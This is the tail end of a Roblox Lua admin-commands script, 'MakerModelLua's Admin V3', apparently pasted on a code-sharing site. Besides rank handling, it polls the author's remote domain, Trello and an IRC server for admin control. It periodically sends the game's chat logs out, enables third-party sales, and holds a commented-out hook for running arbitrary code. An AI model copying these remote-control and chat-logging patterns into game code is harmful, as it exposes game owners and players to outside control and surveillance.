  9091.  
  9092. -- Active stuff --
  9093.  
  9094. CORE:UpdateAdmin()
  9095. CORE:FixSettings()
  9096.  
  9097. ypcall(function()
  9098. if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
  9099. Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
  9100. end
  9101. end)
  9102.  
  9103.  
  9104. Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
  9105. local PlayerAdmin, Rank = RANK:IsAdmin(Player)
  9106. if PlayerAdmin == false then
  9107. if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
  9108. elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
  9109. end
  9110. end end)
  9111.  
  9112. --[[
  9113. ExecuteCommand.OnInvoke = function(Player, Command)
  9114. if Player and Command then
  9115. if type(Player) == "userdata" and Player:IsA("Player") then
  9116. CORE:Chatted(Command, Player, true)
  9117. end
  9118. end
  9119. end
  9120.  
  9121. ExecuteCode.OnInvoke = function(Source, Speaker)
  9122. if type(Source) == "string" then
  9123. ExecuteSafe(Source, Speaker)
  9124. end
  9125. end
  9126.  
  9127. ExecuteCommandClient.OnServerInvoke = function(Player, Command)
  9128. if Player and Command then
  9129. if type(Player) == "userdata" and Player:IsA("Player") then
  9130. CORE:Chatted(Command, Player, true)
  9131. end
  9132. end
  9133. end
  9134. ]]
  9135.  
  9136.  
  9137.  
  9138.  
  9139.  
  9140.  
  9141.  
  9142.  
  9143. for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
  9144. Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
  9145. Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
  9146.  
  9147. coroutine.wrap(function()
  9148. for _,ID in pairs(Icons) do
  9149. game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
  9150. end
  9151. end)()
  9152.  
  9153. CORE:SetAbuseCommands()
  9154.  
  9155. coroutine.wrap(function() SOUND:SyncSoundList() end)()
  9156. if not IsStudio then coroutine.wrap(function()
  9157. if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
  9158. REMOTE:GetRemoteData(true)
  9159. REMOTE:CheckTrelloInfo()
  9160. coroutine.wrap(function()
  9161. if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
  9162. REMOTE.RemoteConnection = true
  9163. end
  9164. end)()
  9165. coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
  9166. coroutine.wrap(function()
  9167. if Settings.LinkedAccount ~= "" then
  9168. local Request = nil
  9169. ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
  9170. if Request then
  9171. REMOTE:HandleRequest(Request, true)
  9172. end
  9173. end
  9174. end)()
  9175. coroutine.wrap(function()
  9176. wait(RemoteData.RemoteAdminWait)
  9177. while REMOTE:GetAndSetWebData() do
  9178. wait(RemoteData.RemoteAdminWait)
  9179. end
  9180. end)()
  9181. coroutine.wrap(function()
  9182. while wait(60) do
  9183. REMOTE:GetRemoteData(true)
  9184. REMOTE:CheckTrelloInfo()
  9185. end
  9186. end)()
  9187. end)() end
  9188. coroutine.wrap(function()
  9189. if Settings.TrelloToken ~= "" then
  9190. ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
  9191. if #Trello.RequiredLists > 0 then
  9192. Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
  9193. if Trello.MainBoard.name then
  9194. local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
  9195. REMOTE:TrelloCacheData(Lists)
  9196. REMOTE:TrelloHandleData(true)
  9197. coroutine.wrap(function()
  9198. wait(RemoteData.TrelloWait)
  9199. while REMOTE:TrelloHandleData() do
  9200. wait(RemoteData.TrelloWait)
  9201. end
  9202. end)()
  9203. end
  9204. end
  9205. else
  9206. print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
  9207. end
  9208. end)()
  9209. coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
  9210. REMOTE:SendChatLog()
  9211. end end)()
  9212. coroutine.wrap(function() while true do
  9213. local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
  9214. if ThisDate then Date = ThisDate end
  9215. wait(600)
  9216. end end)()
  9217.  
  9218. print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")
Add Comment
Please, Sign In to add comment